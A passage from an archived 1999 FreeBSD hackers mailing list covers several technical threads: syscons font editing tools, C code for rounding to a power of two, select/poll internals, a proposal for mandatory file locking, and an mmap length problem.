FreeBSD 4.0-CURRENT Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Aug 21, 1999 at 02:46:51AM -0400, Mike Nowlin wrote: > > >I had sent this message to -stable about a month ago, never heard anything >-- so am trying it here. Hmm lpbb seem to fail completly then... I have to give it a try. Ask me again if I fail to remember. I'm a bit busy. Thanks for your attempts. Nicholas -- nsouch@teaser.fr / nsouch@freebsd.org FreeBSD - Turning PCs into workstations - http://www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 13:56:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 838DB14F52 for ; Sun, 22 Aug 1999 13:56:17 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.1/frmug-2.3/nospam) with UUCP id WAA03156 for hackers@FreeBSD.ORG; Sun, 22 Aug 1999 22:56:22 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 94F9A870A; Sun, 22 Aug 1999 22:22:28 +0200 (CEST) Date: Sun, 22 Aug 1999 22:22:28 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: font edit tools Message-ID: <19990822222228.A11184@keltia.freenix.fr> Mail-Followup-To: hackers@FreeBSD.ORG References: <199908221322.RAA04726@scorpion.crimea.ua> <37C01637.1FF3EDF7@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: <37C01637.1FF3EDF7@bellatlantic.net>; from Sergey Babkin on Sun, Aug 22, 1999 at 11:24:39AM -0400 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5543 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Sergey Babkin: > Any of the tools you use to edit the DOS fonts. > My favorite one it Evafont by Pete Kvitek. But > there were a lot of tools floating around. I know do the opposite. I modify the font with XmBDFED in BDF format then generate the syscons font with a small Perl script. A logn time ago I used Evafont too. Nice program. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #73: Sat Jul 31 15:36:05 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 14: 4: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id E7553155FF for ; Sun, 22 Aug 1999 14:03:33 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id C2BA11C1F; Mon, 23 Aug 1999 05:01:57 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: Peter Dufault Cc: hibma@skylink.it, hackers@FreeBSD.ORG Subject: Re: from number to power of two In-reply-to: Your message of "Sun, 22 Aug 1999 09:14:26 -0400." <199908221314.JAA18225@hda.hda.com> Date: Mon, 23 Aug 1999 05:01:57 +0800 From: Peter Wemm Message-Id: <19990822210157.C2BA11C1F@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Dufault wrote: > > It seems that all the solutions are too generic and slow. As I only have > > to check the numbers 0-32 (actually 1-32), a block of if statements is > > almost as fast as a table look up in 33 elements. > > I doubt it - use the table for a small fixed size set then > use Warner's "(n) ? (1 << (ffs(n) - 1)) : 0". > The possible inline ffs is in machine/cpufunc.h > > ffs() is fundamental to scheduling queues and cryptography and > should have attention paid to it. As Warner said, it could be > a single instruction on some architectures. ffs() works from the wrong direction though. He needs the MSB, not the LSB. There is a fls() inline in though, at least for the x86 family which I think will return the bit number (range: 32 - 1) of the MSB. So, to get the rounded down (and up) power-of-two value you'd do: #include #include #include main() { int i, down, up; for (i = 0; i < 65; i++) { down = i ? (1 << (fls(i) - 1)) : 0; up = 1 << fls(i); printf("%d %d %d\n", i, down, up); } } I'm not sure what you want at zero, but the result is: 0 0 1 1 1 2 2 2 4 3 2 4 4 4 8 5 4 8 6 4 8 7 4 8 8 8 16 9 8 16 10 8 16 11 8 16 12 8 16 13 8 16 14 8 16 15 8 16 16 16 32 17 16 32 The << is normally implemented as a barrel shift on most modern CPU's. The other key trick is (x) & -(x). That returns the LSB in position, not the bit number. ie: 12 & -12 = 00001100 & 11110100 (twos complement, in byte form) = 00000100 = 4 = the value of the LSB. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 14:32:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 8AB1214DC1 for ; Sun, 22 Aug 1999 14:32:44 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.9.3/8.9.3) id QAA62295; Sun, 22 Aug 1999 16:30:27 -0500 (CDT) (envelope-from dan) Date: Sun, 22 Aug 1999 16:30:27 -0500 From: Dan Nelson To: Sergey Babkin Cc: "Alexey M. Zelkin" , hackers@FreeBSD.ORG Subject: Re: font edit tools Message-ID: <19990822163027.A60931@dan.emsphone.com> References: <199908221322.RAA04726@scorpion.crimea.ua> <37C01637.1FF3EDF7@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.7i In-Reply-To: <37C01637.1FF3EDF7@bellatlantic.net> X-OS: FreeBSD 4.0-CURRENT Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (Aug 22), Sergey Babkin said: > Alexey M. Zelkin wrote: > > > > hi, > > > > Which tools can be used to edit syscons fonts ? > > Any of the tools you use to edit the DOS fonts. > My favorite one it Evafont by Pete Kvitek. But > there were a lot of tools floating around. I like one called Font Mania!; the author doesn't seem to have a web presence, but an URL is http://jconroy.dragonfire.net/zzt/utilities/Fm.zip -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 15:45:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id BD6E814E8E for ; Sun, 22 Aug 1999 15:45:45 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id QAA21183; Sun, 22 Aug 1999 16:45:44 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id QAA25737; Sun, 22 Aug 1999 16:45:43 -0600 Date: Sun, 22 Aug 1999 16:45:43 -0600 Message-Id: <199908222245.QAA25737@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Jay Nordwick" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: select/poll implementation In-Reply-To: <19990822094307.99527.qmail@scam.xcf.berkeley.edu> References: <19990822094307.99527.qmail@scam.xcf.berkeley.edu> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I had always wondered how select/poll worked (actually see the end of the > mail to see the broader question), so I pulled up select() and family > and started reading and chasing stuff around. I think that I fully > understand (much praise to whoever wrote most of that, it was incredibly > easy to read) everything from sys_generic.c. Sean Fagan walked me through the code a couple of years ago, and after our discussion he decided to submit this to Dr. Dobbs. The article should be available in their archives somewhere to explain these things in some detail, and should answer the questions you have. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 17:23:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 2BD1914C23; Sun, 22 Aug 1999 17:23:42 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id JAA15309; Mon, 23 Aug 1999 09:53:15 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id JAA83326; Mon, 23 Aug 1999 09:53:11 +0930 (CST) Date: Mon, 23 Aug 1999 09:53:10 +0930 From: Greg Lehey To: FreeBSD Hackers , FreeBSD Committers Subject: Mandatory locking? Message-ID: <19990823095310.A83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just found a need for mandatory locking in Vinum, and I'm wondering how to implement it. If I understand things correctly, our fcntl locking doesn't perform mandatory locking, though System V does if you set the file permissions appropriately. Questions: 1. Do we have some form of mandatory locking? If so, what is it? 2. Would it make sense to implement System V's fcntl semantics? They're rather tacky: you set the setgid bit and reset the group exec bit of the file permissions. 3. Alternatively (or additionally), would it make sense to have an additional fcntl function which performs mandatory locking? I think that it's probably a good idea to implement (3), and also to do (2), possibly subject to a sysctl knob. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 17:30:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 04B6514C23; Sun, 22 Aug 1999 17:30:27 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id RAA00880; Sun, 22 Aug 1999 17:30:27 -0700 (PDT) (envelope-from green@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: green owned process doing -bs Date: Sun, 22 Aug 1999 17:30:27 -0700 (PDT) From: "Brian F. Feldman" To: Nick Hibma Cc: Peter Dufault , hackers@FreeBSD.ORG Subject: Re: from number to power of two In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 22 Aug 1999, Nick Hibma wrote: > > Unfortunately the kernel is compiled with -O which does not include > inlining (dunno about explicit inlining, but don't think so). > > Nick -O lets you do explicit inlining, and -O2 enables -finline-functions. Anyway, I think the simple solution to the problem for this case is a switch, since GCC creates optimizations nicely with those :) -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is \ green@FreeBSD.org | indistinguishable from a feature." | FreeBSD: The Power to Serve! \ -- Rich Kulawiec / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 17:33:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id DA3D914C23; Sun, 22 Aug 1999 17:33:54 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id RAA00909; Sun, 22 Aug 1999 17:31:44 -0700 (PDT) (envelope-from dillon) Date: Sun, 22 Aug 1999 17:31:44 -0700 (PDT) From: Matthew Dillon Message-Id: <199908230031.RAA00909@apollo.backplane.com> To: Greg Lehey Cc: FreeBSD Hackers , FreeBSD Committers Subject: Re: Mandatory locking? References: <19990823095310.A83273@freebie.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Questions: : :1. Do we have some form of mandatory locking? If so, what is it? No we don't, unless you count the ad-hoc lockout in the master/slave pty interface :-). :2. Would it make sense to implement System V's fcntl semantics? : They're rather tacky: you set the setgid bit and reset the group : exec bit of the file permissions. Ugh. Yuch. No, nothing to do with permission bits, not for something this convoluted! :3. Alternatively (or additionally), would it make sense to have an : additional fcntl function which performs mandatory locking? : :I think that it's probably a good idea to implement (3), and also to :do (2), possibly subject to a sysctl knob. : :Greg Well, #3 can't be mandatory if you have to make a fcntl call! You mean have one program make a fcntl call that causes other programs to return an error or block if they try to open that file while the first program holds an open descriptor? -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 17:37:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 4E489154CD; Sun, 22 Aug 1999 17:36:58 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id KAA15386; Mon, 23 Aug 1999 10:06:56 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id KAA83413; Mon, 23 Aug 1999 10:06:54 +0930 (CST) Date: Mon, 23 Aug 1999 10:06:54 +0930 From: Greg Lehey To: Matthew Dillon Cc: FreeBSD Hackers , FreeBSD Committers Subject: Re: Mandatory locking? Message-ID: <19990823100654.B83273@freebie.lemis.com> References: <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908230031.RAA00909@apollo.backplane.com>; from Matthew Dillon on Sun, Aug 22, 1999 at 05:31:44PM -0700 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday, 22 August 1999 at 17:31:44 -0700, Matthew Dillon wrote: > >> Questions: >> >> 1. Do we have some form of mandatory locking? If so, what is it? > > No we don't, unless you count the ad-hoc lockout in the master/slave pty > interface :-). > >> 2. Would it make sense to implement System V's fcntl semantics? >> They're rather tacky: you set the setgid bit and reset the group >> exec bit of the file permissions. > > Ugh. Yuch. No, nothing to do with permission bits, not for something > this convoluted! I don't like it either, but for compatibility reasons it would make sense. That's why I suggested a sysctl knob. >> 3. Alternatively (or additionally), would it make sense to have an >> additional fcntl function which performs mandatory locking? >> >> I think that it's probably a good idea to implement (3), and also to >> do (2), possibly subject to a sysctl knob. > > Well, #3 can't be mandatory if you have to make a fcntl call! Somehow you need to get a lock. > You mean have one program make a fcntl call that causes other > programs to return an error or block if they try to open that > file while the first program holds an open descriptor? Correct. I suppose it's worth discussing what the default should be. Should they get EAGAIN or block? Obviously you'd want a way of specifying which, but there would have to be a default for non-lock-aware programs. I think I'd go for blocking; it's less error prone. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 17:59: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id E717E14E48 for ; Sun, 22 Aug 1999 17:59:05 -0700 (PDT) (envelope-from zzhang@cs.binghamton.edu) Received: from sol.cs.binghamton.edu (cs1-gw.cs.binghamton.edu [128.226.171.72]) by bingnet2.cc.binghamton.edu (8.9.3/8.9.3) with SMTP id UAA29810 for ; Sun, 22 Aug 1999 20:58:51 -0400 (EDT) Date: Sun, 22 Aug 1999 20:45:26 -0400 (EDT) From: Zhihui Zhang To: freebsd-hackers@freebsd.org Subject: What does unp stand for? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In file uipc_usrreq.c, there are many routines beginning with unp_. For example, unp_connect(), unp_bind(), etc. What does unp stand for? Thanks. -------------------------------------------------- Zhihui Zhang. Please visit http://www.freebsd.org -------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 18: 4:36 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 7AB4614F0B for ; Sun, 22 Aug 1999 18:04:35 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id E66E71C0E; Sun, 22 Aug 1999 20:03:50 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id E29A13826; Sun, 22 Aug 1999 20:03:50 -0400 (EDT) Date: Sun, 22 Aug 1999 20:03:50 -0400 (EDT) From: Bill Fumerola To: Zhihui Zhang Cc: freebsd-hackers@freebsd.org Subject: Re: What does unp stand for? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 22 Aug 1999, Zhihui Zhang wrote: > In file uipc_usrreq.c, there are many routines beginning with unp_. For > example, unp_connect(), unp_bind(), etc. What does unp stand for? W. Richard Stevens wrote a book Unix Network Programming often refered to by UNP, which includes his improved versions of socket functions. The above could be completly wrong. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 18:38:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id D247C14F88 for ; Sun, 22 Aug 1999 18:38:27 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11Ij3S-0003mh-00; Sun, 22 Aug 1999 19:37:47 -0600 Message-ID: <37C0A5E8.9390D0DB@softweyr.com> Date: Sun, 22 Aug 1999 19:37:44 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Don Lewis , hackers@FreeBSD.ORG Subject: Re: mmap mapped segment length References: <199908210906.CAA17706@salsa.gv.tsc.tdk.com> <37BF4C99.67814B7@softweyr.com> <199908220247.TAA75778@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > > :Now I've got to go figure out what *I've* screwed up. I fstat the file before > :mapping it and pass S.st_size as the map length. Is there any reason why > :mmap would return non-NULL but map less than the requested size? > : > :Scratching my head, > > Note that mmap() returns (void *)-1 when an error occurs, *not* NULL. > > This is because it is legal to mmap at address 0. Uh, yeah, the program source actually checks against MAP_FAILED. I do usually read the man pages when I write code. ;^) I found the problem, it was caused by unexpected input. Doh! The program is now working, and is on the 44th (of 78) 60 megabyte input files. Good thing the REAL system is a dual PII Xeon 450, huh? Maybe I should add a -j jobs option so I can make sure we use that other processor. As I/O bound as this task is, I'm not sure it would help. Thanks to everyone who responded, and for the politeness of the responses in the face of the stupidity of the original question. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 18:45: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CAB61154B1; Sun, 22 Aug 1999 18:44:56 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id SAA07465; Sun, 22 Aug 1999 18:44:56 -0700 (PDT) (envelope-from green@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: green owned process doing -bs Date: Sun, 22 Aug 1999 18:44:56 -0700 (PDT) From: "Brian F. Feldman" To: Bill Fumerola Cc: Zhihui Zhang , freebsd-hackers@FreeBSD.ORG Subject: Re: What does unp stand for? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 22 Aug 1999, Bill Fumerola wrote: > On Sun, 22 Aug 1999, Zhihui Zhang wrote: > > > In file uipc_usrreq.c, there are many routines beginning with unp_. For > > example, unp_connect(), unp_bind(), etc. What does unp stand for? > > > W. Richard Stevens wrote a book Unix Network Programming often refered > to by UNP, which includes his improved versions of socket functions. > > > The above could be completly wrong. Actually, I'm pretty sure it standard for Unix network protocol, as in good old PF_UNIX/PF_LOCAL. -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is \ green@FreeBSD.org | indistinguishable from a feature." | FreeBSD: The Power to Serve! \ -- Rich Kulawiec / To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 18:57:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from chai.torrentnet.com (chai.torrentnet.com [198.78.51.73]) by hub.freebsd.org (Postfix) with ESMTP id 3C723153FD for ; Sun, 22 Aug 1999 18:57:17 -0700 (PDT) (envelope-from bakul@torrentnet.com) Received: from chai.torrentnet.com (localhost [127.0.0.1]) by chai.torrentnet.com (8.8.8/8.8.5) with ESMTP id VAA12466; Sun, 22 Aug 1999 21:57:14 -0400 (EDT) Message-Id: <199908230157.VAA12466@chai.torrentnet.com> To: hibma@skylink.it Cc: hackers@FreeBSD.ORG Subject: Re: from number to power of two Date: Sun, 22 Aug 1999 21:57:14 -0400 From: Bakul Shah Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The best I can come up with is this: /* k k+1 k * given n, return 2 such that 2 > n >= 2 */ inline unsigned long n2power2(unsigned long n) { /* `smear' the highest set bit to the right */ n |= n>>1; n |= n>>2; n |= n>>4; n |= n>>8; n |= n>>16; /* now n is of the form 0..01..1 */ return n & ~(n>>1); } Note that n bit shift is also O(n) on many machines but usually a machine instruction implements it so this may still be faster than 5 or 6 compares and branches that you would need if a binary search was used. But n ? 1 << (fls(n)-1) : 0 where fls is inlined may still beat it! -- bakul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 19: 8:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id A96B914FDF; Sun, 22 Aug 1999 19:08:16 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.1/8.9.1) id WAA19218; Sun, 22 Aug 1999 22:07:04 -0400 (EDT) (envelope-from wollman) Date: Sun, 22 Aug 1999 22:07:04 -0400 (EDT) From: Garrett Wollman Message-Id: <199908230207.WAA19218@khavrinen.lcs.mit.edu> To: Greg Lehey Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers Subject: Re: Mandatory locking? In-Reply-To: <19990823100654.B83273@freebie.lemis.com> References: <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > Correct. I suppose it's worth discussing what the default should be. > Should they get EAGAIN or block? Obviously you'd want a way of > specifying which, but there would have to be a default for > non-lock-aware programs. I think I'd go for blocking; it's less error > prone. I'd be strongly opposed to any sort of mandatory locking. The whole notion is unspeakably evil, although this is mitigated somewhat if it does not apply to processes with appropriate privilege. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 19:40: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 390DF14E07; Sun, 22 Aug 1999 19:39:54 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA15834; Mon, 23 Aug 1999 12:09:52 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA84239; Mon, 23 Aug 1999 12:09:50 +0930 (CST) Date: Mon, 23 Aug 1999 12:09:50 +0930 From: Greg Lehey To: Garrett Wollman Cc: Matthew Dillon , FreeBSD Hackers , FreeBSD Committers Subject: Re: Mandatory locking? Message-ID: <19990823120949.F83273@freebie.lemis.com> References: <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> <199908230207.WAA19218@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908230207.WAA19218@khavrinen.lcs.mit.edu>; from Garrett Wollman on Sun, Aug 22, 1999 at 10:07:04PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday, 22 August 1999 at 22:07:04 -0400, Garrett Wollman wrote: > < said: > >> Correct. I suppose it's worth discussing what the default should be. >> Should they get EAGAIN or block? Obviously you'd want a way of >> specifying which, but there would have to be a default for >> non-lock-aware programs. I think I'd go for blocking; it's less error >> prone. > > I'd be strongly opposed to any sort of mandatory locking. The whole > notion is unspeakably evil, although this is mitigated somewhat if it > does not apply to processes with appropriate privilege. That's a strange thing to say. Should we do away with locks in the kernel too? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Aug 22 22: 4:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 2AE6C14DC1; Sun, 22 Aug 1999 22:04:45 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id WAA01860; Sun, 22 Aug 1999 22:04:38 -0700 (PDT) (envelope-from dillon) Date: Sun, 22 Aug 1999 22:04:38 -0700 (PDT) From: Matthew Dillon Message-Id: <199908230504.WAA01860@apollo.backplane.com> To: Greg Lehey Cc: FreeBSD Hackers , FreeBSD Committers Subject: Re: Mandatory locking? References: <19990823095310.A83273@freebie.lemis.com> <199908230031.RAA00909@apollo.backplane.com> <19990823100654.B83273@freebie.lemis.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Somehow you need to get a lock. : :> You mean have one program make a fcntl call that causes other :> programs to return an error or block if they try to open that :> file while the first program holds an open descriptor? : :Correct. I suppose it's worth discussing what the default should be. :Should they get EAGAIN or block? Obviously you'd want a way of :specifying which, but there would have to be a default for :non-lock-aware programs. I think I'd go for blocking; 